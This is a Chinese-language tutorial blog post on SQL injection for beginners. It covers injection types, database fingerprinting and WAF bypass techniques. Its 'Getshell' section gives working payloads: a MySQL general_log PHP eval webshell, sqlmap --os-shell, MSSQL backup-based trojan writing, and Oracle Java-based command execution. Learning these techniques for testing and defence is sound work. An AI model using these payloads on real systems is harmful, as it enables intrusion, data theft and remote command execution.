从0到1深入浅出学习SQL注入
Part1 前言
叒有一段时间没写文章了,正好周末有时间就来写写,本文来讲讲有关SQL注入相关的知识点会尽可能详细的写出来,比较适合刚入门安全的小白进行学习,希望能在面试或实战中助你一臂之力。如有大佬发现文中内容有错误的地方恳请斧正!也欢迎各位师傅共同交流学习技术!
Part2 了解SQL注入
SQL注入分类:
从注入参数类型分:数字型注入、字符型注入
从注入效果分:报错注入、布尔注入、延时注入、联合注入、堆叠注入、宽字节注入
从提交方式分:GET注入、POST注入、HTTP头注入、COOKIE注入
常见位置:
URL参数:攻击者可以在应用程序的URL参数中注入恶意SQL代码,例如在查询字符串或路径中。
表单输入:应用程序中的表单输入框,如用户名、密码、搜索框等,如果没有进行充分的输入验证和过滤,就可能成为SQL注入的目标。
Cookie:如果应用程序使用Cookie来存储用户信息或会话状态,攻击者可以通过修改Cookie中的值来进行SQL注入攻击。
HTTP头部:有些应用程序可能会从HTTP头部中获取数据,攻击者可以在HTTP头部中注入恶意SQL代码。
数据库查询语句:在应用程序中直接拼接SQL查询语句的地方,如果没有正确地对用户输入进行过滤和转义,就可能导致SQL注入漏洞。
还有各种实战过程中遇到过的存在SQL注入的参数,比如可控的表名列名、order by、desc等参数,在其他站点遇到相同参数时可以重点测试。
如何判断:
单双引号判断、and 1=1和 and 1=2判断、or和xor判断、exp(709)和exp(710)判断等等
具体使用可自行查询,测试中一定要注意闭合。
常用函数
Mysql
system_user() 系统用户名 | user() 用户名 | current_user() 当前用户名 | database() 数据库名 | version() 数据库版本 |
@@verison 版本 | load_file() 读取本地文件 | ascii() 字符串的ASCII代码值 | ord() 返回字符串第一个字符的ASCII值 | mid() 截取函数 |
substr() 截取函数 | length() 返回字符串的长度 | left() 从左截取 | right() 从右截取 | extractvalue() 报错函数 |
updatexml() 报错函数 | sleep() 延时函数 | exp() 返回e的x次方 | floor() 报错函数 | hex() 转十六进制 |
注释:
1. #注释内容
,表示单行注释
2." -- 注释内容
" (注意--后面有一个空格)
3. /*注释内容*/
Mssql
有些函数与Mysql的类似就不过多介绍了,不过要注意的是MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错。
user 用户名 host_name() 主机名 db_name() 数据库名 | getdate() 当前时间 system_user 系统用户名 user_name() 当前用户 | convert() 把⽇期转换为新数据类型的通⽤函数 substring() 字符串截取函数 WAITFOR DELAY '0:0:3' 延时3秒 |
简单介绍一下convert()函数如何使用:
convert(int,@@version)
的含义是将@@version
的结果转换为整数类型。但是,@@version
返回的是SQL Server
的版本信息,是一个字符串类型的值。因此,尝试将一个字符串转换为整数类型会导致转换失败,从而抛出一个错误。可利用这个错误来获取版本的信息。
注释:
1. /* 注释内容*/
2. --
注释内容;
3. ;%00 注释内容
Oracle
报错注入:
1. ctxsys.drithsx.sn()
2. XMLType()
3. dbms_xdb_version.checkin()
4. bms_xdb_version.makeversioned()
5. dbms_xdb_version.uncheckout()
6. dbms_utility.sqlid_to_sqlhash()
7. ordsys.ord_dicom.getmappingxpath()
报错函数较多就不一一解释了,可借助官方手册或者AI进行深入学习。
布尔盲注:
1. decode()
decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3
2. instr()
举个栗子:
SELECT INSTR('Hello, World!', 'World') AS Position FROM DUAL;
在上述示例中,INSTR函数会在目标字符串 'Hello, World!' 中查找子字符串 'World' 的位置,并返回其出现的位置。如果子字符串不存在,则返回 0。
需要注意的是,Oracle的字符串索引从 1 开始,而不是从 0 开始。如果要查找所有出现的位置,可以使用循环结构或递归。
延时盲注:
DBMS_PIPE.RECEIVE_MESSAGE()
DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)
表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数。如想熟悉掌握此函数建议查询相关资料进行学习。
外带函数:
1. DBMS_LDAP.INIT
2. UTL_INADDR.GET_HOST_ADDRESS
3. UTL_HTTP.request
4. UTL_TCP.request
5. UTL_SMPTP.request
6. UTL_URL.request
7. HTTPURITYPE.request
达梦数据库
达梦数据库遇到的比较少,贴一个以前发过的文章链接,有遇到的可以试试。
Part3 如何判断是什么类型的数据库?
端口判断
Oracle:1521
mssql:1433
Mysql:3306
报错信息判断
Oracle数据库:报错信息通常带有ORA关键字
Mssql数据库:一眼为真
(图来源网络)
常用系统架构组合识别
asp、.net:mssql
php:mysql、postgresql
java:oracle、mysql
iis:mssql
apache:mysql、postgresql
根据注释符判断
在MySQL中,可以使用#符号进行注释。#后的所有内容都会被视为注释,直到该行结束。如返回错误说明该注入点可能不是MySQL。另外,MySQL也支持使用--符号进行注释。但需要注意的是,在MySQL中使用--注释时,需要在--后添加一个空格。
“--”是Oracle和MSSQL都支持使用的注释符,如果返回正常,可能为其中的一个。
堆叠注入中";"也是经常用到的符号,Oracle不支持堆叠查询,如果返回错误,很可能是Oracle数据库。
特定语句
Mysql中@@version
和version()
两种方式都支持
Mssql使用@@version
查看版本信息
oracle查看数据库版本:
select * from v$version;
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
也可以通过内置函数等方式进行判断,不一一举例了,可自行查阅了解。
Part4 WAF绕过
既然学习SQL注入当然也不可避免的会经常遇到恶心的WAF,WAF的处理流程大致可分为四部分:预处理、规则检测、处理模块、日志记录。接下来就分享一些常见的绕过WAF的思路。
双写绕过
有些WAF会对关键词进行过滤,若过滤了一次关键词可尝试双写进行绕过
and、or、xor绕过
有些WAF 会对and 、or、xor进行拦截。
替代字符:and 用&&
代替,or 用 ||
代替,、xor 用|
代替
等号绕过
有些WAF会对"=
"进行过滤,可尝试用like和regexp进行绕过
绕过空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/ + ()
绕过引号
URL编码
16进制
ASCII编码
绕过逗号
在使用盲注的时候,会经常用到 substr() 、substring() 、mid() 等函数。这些函数都需要用到逗号。如果只是过滤了逗号,则对于substr()、substring() 和 mid() 这几个函数可以使用from for的方式来绕过。
比如:substr(database(),1,1)—> substr(database() from 1 for 1)
等价函数替换绕过
如果在测试过程中发现substr()函数被拦截则可以尝试用mid()函数进行绕过,或者可以使用不常用的函数或者功能相同的其他函数进行绕过。
脏数据绕过
如果数据过多可能过超出WAF的检测范围导致被绕过,前面填充大量的垃圾数据后面填写要注入的语句,但是要注意的是如果是GET类型可能会超过传输长度导致无法利用成功,可尝试改变为POST请求进行绕过。
还有一些很常见的思路比如大小写绕过,Emoji绕过和分块传输绕过等等,平时多练习多积累,下次遇到WAF就能ez绕过了。
Part5 如何Getshell?
由于Getshell涉及到的内容较多,所以就写一写大概的思路,具体利用可去手动复现。
Mysql
1. outfile和dumpfile写shell
利用条件
1. 数据库当前用户为root权限
2. 知道当前站点绝对路径
3. secure_file_priv=为空
4. PHP的GPC为 off状态
5. 写入的路径存在写入权限
区别:outfile写完会有脏数据,dumpfile可以做到没有脏数据,所以在udf的时候是用的dumpfile
2.日志getshell
show variables like '%general%';
set global general_log = on; #开启日志
set global general_log_file = 'D:\\phpstudy_pro\\WWW\\shell.php'; #设置日志路径
select '<?php @eval($_POST['tingfeng'])?>' #将webshell写到网站根目录
3.使用sqlmap 的 --os-shell参数
sqlmap -u http://127.0.0.1/sqli-xxx/xxx-1?id=1 --os-shell
执行此命令后需填写网站所用的脚本语言以及绝对路径
原理:sqlmap会上传两个选定的脚本到文件目录,以php为例,会上传两个文件,其中一个提供文件上传功能,利用该文件可以上传文件到绝对路径下,另一个文件类似一句话木马,使我们可以通过cmd参数执行系统命令。
Mssql
xp_cmdshell
内容较多且网上文章也比较多就不具体介绍了,可自行查阅学习。
差异备份
目标路径必须有写入权限
# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 将数据库备份至文件中
backup database db_name to disk = "目标文件路径.bak";
# 创建临时表
create table test (a image);
# 写入木马
insert into test(a) values('一句话木马');
# 重新备份,木马写入文件
backup database db_name to disk = '目标文件路径.asp' with differential,forma
日志差异备份
1. 数据库之前备份过 2. 恢复模式是完整模式 3. 目标路径有写权限
# 查看要创建的临时表是否被占用
IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;
# 将数据库的恢复模式设置为完整模式
alter database db_name set RECOVERY FULL;
# 创建临时表
create table temp (a image);
# 备份数据库日志,并写入文件中
backup log db_name to disk = '目标文件绝对路径.bak' with init;
# 在临时表中插入木马字符串
insert into temp (a) values ('一句话木马');
# 将含有木马字符串的日志备份写入文件中
backup log db_name to disk = '目标文件绝对路径.aspx';
Oracle
1.oracle提权
① 创建JAVA包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
② JAVA权限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
③ 创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
④ 执行命令
select LinxRUNCMD('whoami') from dual;
⑤如果无法执行命令或者提示权限不足可使用以下语句添加权限
GRANT JAVASYSPRIV to vmith;
2.ODAT利用工具
ODAT是一款专门用于Oracle渗透的工具,能够枚举SID、账户密码、命令执行等等,如果在实战中遇到oracle数据库可尝试利用此工具进行测试。
Github地址:https://github.com/quentinhardy/odat
Part6 实战案例
f0ng师傅分享的一个案例~已获授权分享
正常请求是可以返回数据的
加单引号报错
两个单引号,正常
三个单引号,报错,经典!
一开始以为这个注入很简单,直接and或者or不就行了吗?1'and'1'='
或者`1'or’1'='1
1'and'1'='
`1'or’1'='1
这里可能是因为id=1没数据导致的,id=2的时候有数据,但是也不行
后面也是尝试了很多payload,都不行,闭合不了语句,也无法判断逻辑
后续发现还有另一个参数,因为该接口来源于JS文件,直接访问接口如图:
还有个mobile参数!
这样来说,可能这里是采用的or逻辑判断(id为2的时候可以出数据),但是由于id处无法闭合,所以我们可以尝试mobile参数处:
直接可以成功!
猜测这里语句为select * from test_table where userid = '{可控}' or mobile = '{可控}',但是这里userid后面肯定有其他的干扰语句,导致userid无法正常注入
以为直接到此为止了,使用substr函数就可以去注出数据了,但是发现服务器不允许传入substr
后续使用了其他函数instr来进行注入
这里过滤了空格,所以替换成了%0a
然后再用intruder的模块进行依次爆破,就可以得到完整用户名了。
Part7 总结
本篇文章都是一些比较基础的知识点还有很多难点没有写出来,想进阶提升的小伙伴可自行扩展学习,多动手多思考多写笔记。先埋个小坑后续会写写关于高频面试题目的解析,路虽远,行则必达!
参考文章:
https://xz.aliyun.com/t/9940#toc-21
https://mp.weixin.qq.com/s/VbA_EHbeP7JARi71-dvWWA
https://mp.weixin.qq.com/s/J7SYf4HNw5m9vO88ZFg7IA